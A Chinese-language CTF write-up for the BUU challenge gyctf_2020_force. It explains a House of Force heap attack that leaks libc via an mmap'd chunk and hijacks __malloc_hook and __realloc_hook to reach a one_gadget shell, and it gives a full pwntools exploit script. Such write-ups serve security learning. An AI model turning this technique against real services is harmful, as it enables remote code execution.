BUU-gyctf_2020_force-WP

Posted on Jan 27, 2021

报以复习的形态做了一下这道HOF裸题,结果还是学到了新知识,蛮好蛮好

HOF不想多说了,毕竟是挺简单的一种利用,此题中有谈及。

leak

每一个chunk的地址都是直接告诉我们的,但是程序可以说没有输出功能,通过以往的办法leak libc base不甚容易,但是我们可以利用mmap的chunk的特性来获取libc base,申请一个较大的chunk,此时由于top chunk等处都无法分配,就会通过mmap映射内存来分配,而内存的地址和libc的基地址的偏移是固定的,所以我们就可以调试获取偏移并算出libc base

可见申请一个大小为0x200000chunk是,便会mmap一个从0x7ffff784b000开始大小为0x201000的内存段,且紧挨着libc,这样就可以算出libc base了(开始的时候我尝试使用1000000做为大小,发现似乎不行,可能还是不够大)

one_gadget

one_gadget是挺方便的,但是有些时候由于栈帧的一些原因无法使用,在这里我们可以考虑通过realloc来调整

可见realloc开始的时候会调用许多的push,然后rsp-0x38,一般来讲one_gadget失效有许多原因,这边乱调调就可能可以调出来。同时注意rsp减完之后realloc会调用__realloc_hook

所以我们的做法就是劫持__malloc_hookrealloc+0x10,并劫持__realloc_hook为one_gadget,就可以get shell了。

运气比较好的是

两个钩子是在一起的,所以我们在算offset的时候应该是减0x30,其中0x10处理对齐的运算,0x20是的返回的指针指向&__malloc_hook - 0x10,然后我们就可以对两个钩子一起修改了。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level = 'debug')

#sh = process("./gyctf_2020_force")
sh = remote("node3.buuoj.cn",29789)
libc = ELF("./libcs/buu-64-libc.so")

sh.sendlineafter("2:puts\n","1")
sh.sendlineafter("size\n",str(0x200000))

sh.recvuntil("addr ")
mmaped_addr = int(sh.recvuntil("\n",drop = True),base = 16)
log.success("mmaped_addr:" + hex(mmaped_addr))
libc_base = mmaped_addr + 0x200ff0
log.success("libc_base:" + hex(libc_base))

sh.sendlineafter("content\n","index:0")


sh.sendlineafter("2:puts\n","1")
sh.sendlineafter("size\n","16")

sh.recvuntil("addr ")
top_last_addr = int(sh.recvuntil("\n",drop = True),base = 16) - 0x10
top_addr = top_last_addr + 0x10 + 0x10
log.success("top_addr:" + hex(top_addr))

sh.sendafter("content\n",'a' * 16 + p64(0) + p64(0xffffffffffffffff))


offset = libc_base + libc.symbols["__malloc_hook"] - top_addr - 0x10 - 0x20
log.success((offset))
one_gadget = libc_base + 0x4526a
realloc_addr = libc_base + libc.symbols["__libc_realloc"]

sh.sendlineafter("2:puts\n","1")
sh.sendlineafter("size\n",str(offset))
sh.sendlineafter("content\n","")

sh.sendlineafter("2:puts\n","1")
sh.sendlineafter("size\n","16")
sh.sendlineafter("content\n",'a' * 8 + p64(one_gadget) + p64(realloc_addr + 0x10))

sh.sendlineafter("2:puts\n","1")
sh.sendlineafter("size\n","16")

sh.interactive()